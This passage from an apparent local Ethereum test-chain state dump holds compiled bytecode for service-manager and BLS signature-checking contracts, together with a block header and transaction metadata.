8294c56604051806040016040528060018152602001600081525083815181106121e1576121e16157ab565b602001015160f81c60f81b60f81c8c8c60c001518581518110612206576122066157ab565b60209081029190910101516040516001600160e01b031960e086901b16815260ff909316600484015263ffffffff9182166024840152166044820152606401602060405180830381865afa158015612262573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612286919061593d565b8560200151828151811061229c5761229c6157ab565b6001600160601b039092166020928302919091018201528501518051829081106122c8576122c86157ab565b6020026020010151856000015182815181106122e6576122e66157ab565b60200260200101906001600160601b031690816001600160601b0316815250506000805b8a60200151518110156124f85761237586600001518281518110612330576123306157ab565b602002602001015160405180604001604052806001815260200160008152508581518110612360576123606157ab565b016020015160f81c60ff161c60019081161490565b156124f0577f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663f2be94ae604051806040016040528060018152602001600081525085815181106123d1576123d16157ab565b602001015160f81c60f81b60f81c8e896020015185815181106123f6576123f66157ab565b60200260200101518f60e001518881518110612414576124146157ab565b6020026020010151878151811061242d5761242d6157ab565b60209081029190910101516040516001600160e01b031960e087901b16815260ff909416600485015263ffffffff92831660248501526044840191909152166064820152608401602060405180830381865afa158015612491573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124b5919061593d565b87518051859081106124c9576124c96157ab565b602002602001018181516124dd919061595a565b6001600160601b03169052506001909101905b60010161230a565b5050600101611e11565b50505060008061251c8a868a606001518b60800151610d57565b915091508161258d5760405162461bcd60e51b81526020600482015260436024820152600080516020615dde83398151915260448201527f7265733a2070616972696e6720707265636f6d70696c652063616c6c206661696064820152621b195960ea1b608482015260a4016102b9565b806125ee5760405162461bcd60e51b81526020600482015260396024820152600080516020615dde83398151915260448201527f7265733a207369676e617475726520697320696e76616c69640000000000000060648201526084016102b9565b50506000878260200151604051602001612609929190615981565b60408051808303601f1901815291905280516020909101209299929850919650505050505050565b60fb5460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015612679573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061269d9190615746565b6126b95760405162461bcd60e51b81526004016102b990615763565b60001960fc81905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b61270061413a565b61270a6000614628565b565b600054600290610100900460ff1615801561272e575060005460ff8083169116105b61274a5760405162461bcd60e51b81526004016102b9906157e3565b6000805461ffff191660ff83161761010017905561276782613575565b6000805461ff001916905560405160ff821681527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15050565b60008184846040516127bf9291906159c9565b60405180910390201490509392505050565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146128195760405162461bcd60e51b81526004016102b9906159d9565b604051639926ee7d60e01b81526001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001690639926ee7d906128679085908590600401615a97565b600060405180830381600087803b15801561288157600080fd5b505af1158015612895573d6000803e3d6000fd5b505050505050565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146128e55760405162461bcd60e51b81526004016102b9906159d9565b6040516351b27a6d60e11b81526001600160a01b0382811660048301527f0000000000000000000000000000000000000000000000000000000000000000169063a364f4da906024015b600060405180830381600087803b15801561294957600080fd5b505af115801561295d573d6000803e3d6000fd5b5050505050565b61296c61413a565b60405163a98fb35560e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063a98fb3559061292f908490600401615ae2565b60cb546001600160a01b031633146129f85760cb54604051632cbe419560e01b81523360048201526001600160a01b0390911660248201526044016102b9565b60fc54600190600290811603612a205760405162461bcd60e51b81526004016102b990614b81565b60005a905060008585604051602001612a3a9291906156c4565b60408051601f198184030181529181528151602092830120600081815260c990935290822080549193509163ffffffff9091169003612a8f576040516311cb69a760e11b8152600481018390526024016102b9565b8054640100000000900460ff1615612abd57604051634e78d7f960e11b8152600481018390526024016102b9565b805464ff00000000191664010000000017815560018101546001600160a01b038716600090815260ca60205260409020541015612b405760018101546001600160a01b038716600081815260ca602052604090819020549051632e2a182f60e11b81526004810192909252602482019290925260448101919091526064016102b9565b8054600090612b5790849063ffffffff16886116fd565b509050604360ff168160200151600081518110612b7657612b766157ab565b6020026020010151612b889190615af5565b6001600160601b031660648260000151600081518110612baa57612baa6157ab565b60200260200101516001600160601b0316612bc59190615b18565b1015612c585760648160000151600081518110612be457612be46157ab565b60200260200101516001600160601b0316612bff9190615b18565b604360ff168260200151600081518110612c1b57612c1b6157ab565b6020026020010151612c2d9190615af5565b60405163530f5c4560e11b815260048101929092526001600160601b031660248201526044016102b9565b6040516001600160a01b038816815288907f8511746b73275e06971968773119b9601fc501d7bdf3824d8754042d148940e29060200160405180910390a260003a5a612ca49087615831565b612cb190620111706156b1565b612cbb9190615b18565b9050600083600101548210612cd4578360010154612cd6565b815b6001600160a01b038a16600090815260ca6020526040812080549293508392909190612d03908490615831565b90915550506001600160a01b038916600081815260ca6020908152604091829020549151918252600080516020615dbe833981519152910160405180910390a260cb546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015612d7d573d6000803e3d6000fd5b5050505050505050505050565b612d9261413a565b60cc55565b60fc54600090600190811603612dbf5760405162461bcd60e51b81526004016102b990614b81565b60008533604051602001612dd49291906156c4565b60408051601f198184030181529181528151602092830120600081815260c990935291205490915063ffffffff1615612e2357604051630c40bc4360e21b8152600481018290526024016102b9565b3415612e805733600090815260ca602052604081208054349290612e489084906156b1565b909155505033600081815260ca6020908152604091829020549151918252600080516020615dbe833981519152910160405180910390a25b33600090815260ca6020526040902054831115612ed15733600081815260ca602052604090819020549051632e2a182f60e11b815260048101929092526024820185905260448201526064016102b9565b604080516060810182526000602080830182815263ffffffff4381811686528587018a815288865260c99094529386902085518154935115156401000000000264ffffffffff1990941692169190911791909117815590516001909101559151909188917f8801fc966deb2c8f563a103c35c9e80740585c292cd97518587e6e7927e6af5591612f69913391908b908b908b90615b2f565b60405180910390a250505050505050565b606060007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316639aa1653d6040518163ffffffff1660e01b8152600401602060405180830381865afa158015612fdc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130009190615886565b60ff1690508060000361302157505060408051600081526020810190915290565b6000805b828110156130cc57604051633ca5a5f560e01b815260ff821660048201527f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031690633ca5a5f590602401602060405180830381865afa158015613094573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130b89190615844565b6130c290836156b1565b9150600101613025565b506000816001600160401b038111156130e7576130e7614bd0565b604051908082528060200260200182016040528015613110578160200160208202803683370190505b5090506000805b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316639aa1653d6040518163ffffffff1660e01b8152600401602060405180830381865afa158015613175573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906131999190615886565b60ff1681101561331c57604051633ca5a5f560e01b815260ff821660048201526000907f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031690633ca5a5f590602401602060405180830381865afa15801561320d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132319190615844565b905060005b81811015613312576040516356e4026d60e11b815260ff84166004820152602481018290527f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03169063adc804da906044016040805180830381865afa1580156132ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132cf91906158b8565b600001518585815181106132e5576132e56157ab565b6001600160a01b039092166020928302919091019091015283613307816158f9565b945050600101613236565b5050600101613117565b5090949350505050565b61332e61413a565b6001600160a01b0381166133935760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016102b9565b610c1581614628565b600054610100900460ff16158080156133bc5750600054600160ff909116105b806133d65750303b1580156133d6575060005460ff166001145b6133f25760405162461bcd60e51b81526004016102b9906157e3565b6000805460ff191660011790558015613415576000805461ff0019166101001790555b6001600160a01b03861661345b57604051630b0f5aa160e11b815260206004820152600c60248201526b34b734ba34b0b627bbb732b960a11b60448201526064016102b9565b6001600160a01b0385166134a557604051630b0f5aa160e11b815260206004820152601060248201526f3932bbb0b93239a4b734ba34b0ba37b960811b60448201526064016102b9565b6001600160a01b0384166134f057604051630b0f5aa160e11b815260206004820152601160248201527030b634b3b732b220b3b3b932b3b0ba37b960791b60448201526064016102b9565b6134fa868661467a565b60cb80546001600160a01b0319166001600160a01b03861617905561351e86614628565b6135288383614194565b8015612895576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a1505050505050565b61357d61413a565b60cb80546001600160a01b0319166001600160a01b0392909216919091179055565b60fc546000906002906004908116036135ca5760405162461bcd60e51b81526004016102b990614b81565b6040516306045a9160e01b815230906306045a91906135fc908c908c908c908c908c908c908c90600090600401615b86565b602060405180830381865afa158015613619573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061363d9190615746565b9998505050505050505050565b60fb60009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561369d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906136c191906156df565b6001600160a01b0316336001600160a01b0316146136f15760405162461bcd60e51b81526004016102b9906156fc565b60fc5419811960fc5419161461376f5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c697479000000000000000060648201526084016102b9565b60fc81905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c90602001610d4c565b6065546001600160a01b0316331461383b5760405162461bcd60e51b815260206004820152604c60248201527f536572766963654d616e61676572426173652e6f6e6c7952657761726473496e60448201527f69746961746f723a2063616c6c6572206973206e6f742074686520726577617260648201526b32399034b734ba34b0ba37b960a11b608482015260a4016102b9565b60005b81811015613b0657828282818110613858576138586157ab565b905060200281019061386a9190615be8565b61387b906040810190602001614d86565b6001600160a01b03166323b872dd333086868681811061389d5761389d6157ab565b90506020028101906138af9190615be8565b604080516001600160e01b031960e087901b1681526001600160a01b039485166004820152939092166024840152013560448201526064016020604051808303816000875af1158015613906573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061392a9190615746565b50600083838381811061393f5761393f6157ab565b90506020028101906139519190615be8565b613962906040810190602001614d86565b604051636eb1769f60e11b81523060048201526001600160a01b037f000000000000000000000000000000000000000000000000000000000000000081166024830152919091169063dd62ed3e90604401602060405180830381865afa1580156139d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906139f49190615844565b9050838383818110613a0857613a086157ab565b9050602002810190613a1a9190615be8565b613a2b906040810190602001614d86565b6001600160a01b031663095ea7b37f000000000000000000000000000000000000000000000000000000000000000083878787818110613a6d57613a6d6157ab565b9050602002810190613a7f9190615be8565b60400135613a8d91906156b1565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af1158015613ad8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613afc9190615746565b505060010161383e565b5060405163fce36c7d60e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063fce36c7d906128679085908590600401615c6e565b613b5d61413a565b60cc8054600160ff841690811b9091179091556040517fec54a85c01b5fc7fb41be0f33eabc56f2981110da8317b9817bc7c718f6d7bfe90600090a250565b600083613baa8685856146f7565b1495945050505050565b6001600160a01b038116613c425760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a4016102b9565b60fb54604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a160fb80546001600160a01b0319166001600160a01b0392909216919091179055565b6040805180820190915260008082526020820152613cc7614aa7565b835181526020808501519082015260408082018490526000908360608460076107d05a03fa90508080613cf657fe5b5080613d345760405162461bcd60e51b815260206004820152600d60248201526c1958cb5b5d5b0b59985a5b1959609a1b60448201526064016102b9565b505092915050565b6040805180820190915260008082526020820152613d58614ac5565b835181526020808501518183015283516040808401919091529084015160608301526000908360808460066107d05a03fa90508080613d9357fe5b5080613d345760405162461bcd60e51b815260206004820152600d60248201526c1958cb5859190b59985a5b1959609a1b60448201526064016102b9565b613dd9614ae3565b50604080516080810182527f198e9393920d483a7260bfb731fb5d25f1aa493335a9e71297e485b7aef312c28183019081527f1800deef121f1e76426a00665e5c4479674322d4f75edadd46debd5cd992f6ed6060830152815281518083019092527f275dc4a288d1afb3cbb1ac09187524c7db36395df7be3b99e673b13a075a65ec82527f1d9befcd05a5323e6da4d435f3b617cdb3af83285c2df711ef39c01571827f9d60208381019190915281019190915290565b604080518082019091526000808252602082015260008080613ec1600080516020615d9e833981519152866157c1565b90505b613ecd816147f4565b9093509150600080516020615d9e8339815191528283098303613f06576040805180820190915290815260208101919091529392505050565b600080516020615d9e833981519152600182089050613ec4565b604080518082018252868152602080820186905282518084019093528683528201849052600091829190613f52614b08565b60005b600281101561410d576000613f6b826006615b18565b9050848260028110613f7f57613f7f6157ab565b60200201515183613f918360006156b1565b600c8110613fa157613fa16157ab565b6020020152848260028110613fb857613fb86157ab565b60200201516020015183826001613fcf91906156b1565b600c8110613fdf57613fdf6157ab565b6020020152838260028110613ff657613ff66157ab565b60200201515151836140098360026156b1565b600c8110614019576140196157ab565b6020020152838260028110614030576140306157ab565b60200201515160016020020151836140498360036156b1565b600c8110614059576140596157ab565b6020020152838260028110614070576140706157ab565b60200201516020015160006002811061408b5761408b6157ab565b60200201518361409c8360046156b1565b600c81106140ac576140ac6157ab565b60200201528382600281106140c3576140c36157ab565b6020020151602001516001600281106140de576140de6157ab565b6020020151836140ef8360056156b1565b600c81106140ff576140ff6157ab565b602002015250600101613f55565b50614116614b27565b60006020826101808560088cfa9151919c9115159b50909950505050505050505050565b6033546001600160a01b0316331461270a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016102b9565b60fb546001600160a01b03161580156141b557506001600160a01b03821615155b6142375760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a4016102b9565b60fc81905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a26116f982613bb4565b60606000806142888461447f565b61ffff166001600160401b038111156142a3576142a3614bd0565b6040519080825280601f01601f1916602001820160405280156142cd576020820181803683370190505b5090506000805b8251821080156142e5575061010081105b1561331c576001811b93508584161561432c578060f81b83838151811061430e5761430e6157ab565b60200101906001600160f81b031916908160001a9053508160010191505b614335816158f9565b90506142d4565b606554604080516001600160a01b03928316815291831660208301527fe11cddf1816a43318ca175bbc52cd0185436e9cbead7c83acc54a73e461717e3910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6097805460ff19168215159081179091556040519081527f40e4ed880a29e0f6ddce307457fb75cddf4feef7d3ecb0301bfdf4976a0e2dfc9060200160405180910390a150565b6000806143f884614876565b9050808360ff166001901b116144765760405162461bcd60e51b815260206004820152603f60248201527f4269746d61705574696c732e6f72646572656442797465734172726179546f4260448201527f69746d61703a206269746d61702065786365656473206d61782076616c75650060648201526084016102b9565b90505b92915050565b6000805b821561447957614494600184615831565b90921691806144a281615d7c565b915050614483565b60408051808201909152600080825260208201526102008261ffff16106145065760405162461bcd60e51b815260206004820152601060248201526f7363616c61722d746f6f2d6c6172676560801b60448201526064016102b9565b8161ffff16600103614519575081614479565b6040805180820190915260008082526020820181905284906001905b8161ffff168661ffff161061458257600161ffff871660ff83161c81169003614565576145628484613d3c565b93505b61456f8384613d3c565b92506201fffe600192831b169101614535565b509195945050505050565b604080518082019091526000808252602082015281511580156145b257506020820151155b156145d0575050604080518082019091526000808252602082015290565b604051806040016040528083600001518152602001600080516020615d9e833981519152846020015161460391906157c1565b61461b90600080516020615d9e833981519152615831565b905292915050565b919050565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600054610100900460ff166146e55760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201526a6e697469616c697a696e6760a81b60648201526084016102b9565b6146ee82614628565b6116f98161433c565b60006020845161470791906157c1565b1561478e5760405162461bcd60e51b815260206004820152604b60248201527f4d65726b6c652e70726f63657373496e636c7573696f6e50726f6f664b65636360448201527f616b3a2070726f6f66206c656e6774682073686f756c642062652061206d756c60648201526a3a34b836329037b310199960a91b608482015260a4016102b9565b8260205b8551811161129c576147a56002856157c1565b6000036147c9578160005280860151602052604060002091506002840493506147e2565b8086015160005281602052604060002091506002840493505b6147ed6020826156b1565b9050614792565b60008080600080516020615d9e8339815191526003600080516020615d9e83398151915286600080516020615d9e83398151915288890909089050600061486a827f0c19139cb84c680a6e14116da060561765e05aa45a1c72a34f082305b61f3f52600080516020615d9e8339815191526149fe565b91959194509092505050565b6000610100825111156148ff5760405162461bcd60e51b8152602060048201526044602482018190527f4269746d61705574696c732e6f72646572656442797465734172726179546f42908201527f69746d61703a206f7264657265644279746573417272617920697320746f6f206064820152636c6f6e6760e01b608482015260a4016102b9565b815160000361491057506000919050565b60008083600081518110614926576149266157ab565b0160200151600160f89190911c81901b92505b84518110156149f557848181518110614954576149546157ab565b0160200151600160f89190911c1b91508282116149e95760405162461bcd60e51b815260206004820152604760248201527f4269746d61705574696c732e6f72646572656442797465734172726179546f4260448201527f69746d61703a206f72646572656442797465734172726179206973206e6f74206064820152661bdc99195c995960ca1b608482015260a4016102b9565b91811791600101614939565b50909392505050565b600080614a09614b27565b614a11614b45565b602080825281810181905260408201819052606082018890526080820187905260a082018690528260c08360056107d05a03fa92508280614a4e57fe5b5082614a9c5760405162461bcd60e51b815260206004820152601a60248201527f424e3235342e6578704d6f643a2063616c6c206661696c75726500000000000060448201526064016102b9565b505195945050505050565b60405180606001604052806003906020820280368337509192915050565b60405180608001604052806004906020820280368337509192915050565b6040518060400160405280614af6614b63565b8152602001614b03614b63565b905290565b604051806101800160405280600c906020820280368337509192915050565b60405180602001604052806001906020820280368337509192915050565b6040518060c001604052806006906020820280368337509192915050565b60405180604001604052806002906020820280368337509192915050565b60208082526019908201527f5061757361626c653a20696e6465782069732070617573656400000000000000604082015260600190565b80356001600160601b03198116811461462357600080fd5b634e487b7160e01b600052604160045260246000fd5b604080519081016001600160401b0381118282101715614c0857614c08614bd0565b60405290565b60405161010081016001600160401b0381118282101715614c0857614c08614bd0565b604051601f8201601f191681016001600160401b0381118282101715614c5957614c59614bd0565b604052919050565b60006001600160401b03831115614c7a57614c7a614bd0565b614c8d601f8401601f1916602001614c31565b9050828152838383011115614ca157600080fd5b828260208301376000602084830101529392505050565b600082601f830112614cc957600080fd5b614cd883833560208501614c61565b9392505050565b6001600160a01b0381168114610c1557600080fd5b600080600080600080600080610100898b031215614d1157600080fd5b883597506020890135965060408901359550614d2f60608a01614bb8565b94506080890135935060a08901356001600160401b03811115614d5157600080fd5b614d5d8b828c01614cb8565b93505060c0890135915060e0890135614d7581614cdf565b809150509295985092959890939650565b600060208284031215614d9857600080fd5b813561447681614cdf565b600060208284031215614db557600080fd5b5035919050565b60ff81168114610c1557600080fd5b600060208284031215614ddd57600080fd5b813561447681614dbc565b600060408284031215614dfa57600080fd5b614e02614be6565b9050813581526020820135602082015292915050565b600082601f830112614e2957600080fd5b614e31614be6565b806040840185811115614e4357600080fd5b845b81811015614e5d578035845260209384019301614e45565b509095945050505050565b600060808284031215614e7a57600080fd5b614e82614be6565b9050614e8e8383614e18565b8152614e9d8360408401614e18565b602082015292915050565b6000806000806101208587031215614ebf57600080fd5b84359350614ed08660208701614de8565b9250614edf8660608701614e68565b9150614eee8660e08701614de8565b905092959194509250565b60008060408385031215614f0c57600080fd5b8235614f1781614cdf565b946020939093013593505050565b6020808252825182820181905260009190848201906040850190845b81811015614f665783516001600160a01b031683529284019291840191600101614f41565b50909695505050505050565b8015158114610c1557600080fd5b600060208284031215614f9257600080fd5b813561447681614f72565b803563ffffffff8116811461462357600080fd5b60006001600160401b03821115614fca57614fca614bd0565b5060051b60200190565b600082601f830112614fe557600080fd5b81356020614ffa614ff583614fb1565b614c31565b8083825260208201915060208460051b87010193508684111561501c57600080fd5b602086015b8481101561503f5761503281614f9d565b8352918301918301615021565b509695505050505050565b600082601f83011261505b57600080fd5b8135602061506b614ff583614fb1565b8083825260208201915060208460061b87010193508684111561508d57600080fd5b602086015b8481101561503f576150a48882614de8565b835291830191604001615092565b600082601f8301126150c357600080fd5b813560206150d3614ff583614fb1565b82815260059290921b840181019181810190868411156150f257600080fd5b8286015b8481101561503f5780356001600160401b038111156151155760008081fd5b6151238986838b0101614fd4565b8452509183019183016150f6565b6000610180828403121561514457600080fd5b61514c614c0e565b905081356001600160401b038082111561516557600080fd5b61517185838601614fd4565b8352602084013591508082111561518757600080fd5b6151938583860161504a565b602084015260408401359150808211156151ac57600080fd5b6151b88583860161504a565b60408401526151ca8560608601614e68565b60608401526151dc8560e08601614de8565b60808401526101208401359150808211156151f657600080fd5b61520285838601614fd4565b60a084015261014084013591508082111561521c57600080fd5b61522885838601614fd4565b60c084015261016084013591508082111561524257600080fd5b5061524f848285016150b2565b60e08301525092915050565b60008060006060848603121561527057600080fd5b8335925061528060208501614f9d565b915060408401356001600160401b0381111561529b57600080fd5b6152a786828701615131565b9150509250925092565b60008151808452602080850194506020840160005b838110156152eb5781516001600160601b0316875295820195908201906001016152c6565b509495945050505050565b604081526000835160408084015261531160808401826152b1565b90506020850151603f1984830301606085015261532e82826152b1565b925050508260208301529392505050565b60008083601f84011261535157600080fd5b5081356001600160401b0381111561536857600080fd5b60208301915083602082850101111561538057600080fd5b9250929050565b60008060006040848603121561539c57600080fd5b83356001600160401b038111156153b257600080fd5b6153be8682870161533f565b909790965060209590950135949350505050565b600080604083850312156153e557600080fd5b82356153f081614cdf565b915060208301356001600160401b038082111561540c57600080fd5b908401906060828703121561542057600080fd5b60405160608101818110838211171561543b5761543b614bd0565b60405282358281111561544d57600080fd5b61545988828601614cb8565b82525060208301356020820152604083013560408201528093505050509250929050565b60006020828403121561548f57600080fd5b81356001600160401b038111156154a557600080fd5b8201601f810184136154b657600080fd5b6154c584823560208401614c61565b949350505050565b6000806000606084860312156154e257600080fd5b83359250602084013561528081614cdf565b6000806000806060858703121561550a57600080fd5b8435935060208501356001600160401b0381111561552757600080fd5b6155338782880161533f565b9598909750949560400135949350505050565b600080600080600060a0868803121561555e57600080fd5b853561556981614cdf565b9450602086013561557981614cdf565b9350604086013561558981614cdf565b9250606086013561559981614cdf565b949793965091946080013592915050565b600080600080600080600060e0888a0312156155c557600080fd5b8735965060208801359550604088013594506155e360608901614bb8565b93506080880135925060a08801356001600160401b0381111561560557600080fd5b6156118a828b01614cb8565b92505060c0880135905092959891949750929550565b6000806020838503121561563a57600080fd5b82356001600160401b038082111561565157600080fd5b818501915085601f83011261566557600080fd5b81358181111561567457600080fd5b8660208260051b850101111561568957600080fd5b60209290920196919550909350505050565b634e487b7160e01b600052601160045260246000fd5b808201808211156144795761447961569b565b91825260601b6001600160601b031916602082015260340190565b6000602082840312156156f157600080fd5b815161447681614cdf565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b60006020828403121561575857600080fd5b815161447681614f72565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b6000826157de57634e487b7160e01b600052601260045260246000fd5b500690565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b818103818111156144795761447961569b565b60006020828403121561585657600080fd5b5051919050565b60006020828403121561586f57600080fd5b81516001600160c01b038116811461447657600080fd5b60006020828403121561589857600080fd5b815161447681614dbc565b6001600160601b0381168114610c1557600080fd5b6000604082840312156158ca57600080fd5b6158d2614be6565b82516158dd81614cdf565b815260208301516158ed816158a3565b60208201529392505050565b60006001820161590b5761590b61569b565b5060010190565b60006020828403121561592457600080fd5b815167ffffffffffffffff198116811461447657600080fd5b60006020828403121561594f57600080fd5b8151614476816158a3565b6001600160601b0382811682821603908082111561597a5761597a61569b565b5092915050565b63ffffffff60e01b8360e01b1681526000600482018351602080860160005b838110156159bc578151855293820193908201906001016159a0565b5092979650505050505050565b8183823760009101908152919050565b60208082526052908201527f536572766963654d616e61676572426173652e6f6e6c7952656769737472794360408201527f6f6f7264696e61746f723a2063616c6c6572206973206e6f742074686520726560608201527133b4b9ba393c9031b7b7b93234b730ba37b960711b608082015260a00190565b6000815180845260005b81811015615a7757602081850181015186830182015201615a5b565b506000602082860101526020601f19601f83011685010191505092915050565b60018060a01b0383168152604060208201526000825160606040840152615ac160a0840182615a51565b90506020840151606084015260408401516080840152809150509392505050565b602081526000614cd86020830184615a51565b6001600160601b03818116838216028082169190828114613d3457613d3461569b565b80820281158282048414176144795761447961569b565b6001600160a01b038616815263ffffffff851660208201526080604082018190528101839052828460a0830137600060a08483010152600060a0601f19601f86011683010190508260608301529695505050505050565b60006101008a83528960208401528860408401526001600160601b0319881660608401528660808401528060a0840152615bc281840187615a51565b60c084019590955250506001600160a01b039190911660e0909101529695505050505050565b60008235609e19833603018112615bfe57600080fd5b9190910192915050565b803561462381614cdf565b8183526000602080850194508260005b858110156152eb578135615c3681614cdf565b6001600160a01b0316875281830135615c4e816158a3565b6001600160601b0316878401526040968701969190910190600101615c23565b60208082528181018390526000906040808401600586901b8501820187855b88811015615d6e57878303603f190184528135368b9003609e19018112615cb357600080fd5b8a0160a0813536839003601e19018112615ccc57600080fd5b820188810190356001600160401b03811115615ce757600080fd5b8060061b3603821315615cf957600080fd5b828752615d098388018284615c13565b92505050615d18888301615c08565b6001600160a01b03168886015281870135878601526060615d3a818401614f9d565b63ffffffff16908601526080615d51838201614f9d565b63ffffffff16950194909452509285019290850190600101615c8d565b509098975050505050505050565b600061ffff808316818103615d9357615d9361569b565b600101939250505056fe30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd470ea46f246ccfc58f7a93aa09bc6245a6818e97b1a160d186afe78993a3b194a0424c535369676e6174757265436865636b65722e636865636b5369676e617475a26469706673582212205998fafeb5eab20d19cf0bd86f2eecb1e9eff99b69e6178a9513067dd2808c5564736f6c634300081800330000000000000000000000005fc8d32690cc91d4c39d9d3abcbd16989f8757070000000000000000000000000165878a594ca255338adfa4d48449f69242eb8f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f36000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e","r":"0xaa731daf1569d293ab9468725e6cab3bb758ca32bf4d1e66309e7ed170d591c3","s":"0x945c9e55452e1dfef223d9c1897fc590616651c364096b88594298001446b3f","yParity":"0x1","hash":"0xdd4fff42f8d9680bf11d334823d82956a6fa317bf44fb38c6d96d1ccfd04c9be"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x1f1359dfd62a62c1a2cfc68f2840b3e0077619e94891dc28b236eeb3e44a1dd3","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x002c67001c7c356db25bf4a5f74d98eef1ab4da4add47305640ca98e1ca7f54e","transactionsRoot":"0x0a1d2ab339598e74264bbdae45603084e1a56ad0165d8c37428d70db492a309a","receiptsRoot":"0xb2990302d92a777d2c56d5a743b1ddd011782aa7cb624a11fb2b5ea5f2bb78f2","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000080000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000","difficulty":"0x0","number":"0x6","gasLimit":"0x1c9c380","gasUsed":"0x109de3","timestamp":"0x6735270e","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x1fbaad29","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x29","gas":"0x159870","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x60a060405234801561001057600080fd5b506040516113a63803806113a683398101604081905261002f9161010c565b6001600160a01b0381166080528061004561004c565b505061013c565b600054610100900460ff16156100b85760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff908116101561010a576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b60006020828403121561011e57600080fd5b81516001600160a01b038116811461013557600080fd5b9392505050565b60805161123a61016c60003960008181610142015281816102750152818161040f01526107d6015261123a6000f3fe608060405234801561001057600080fd5b50600436106100b35760003560e01c80638902624511610071578063890262451461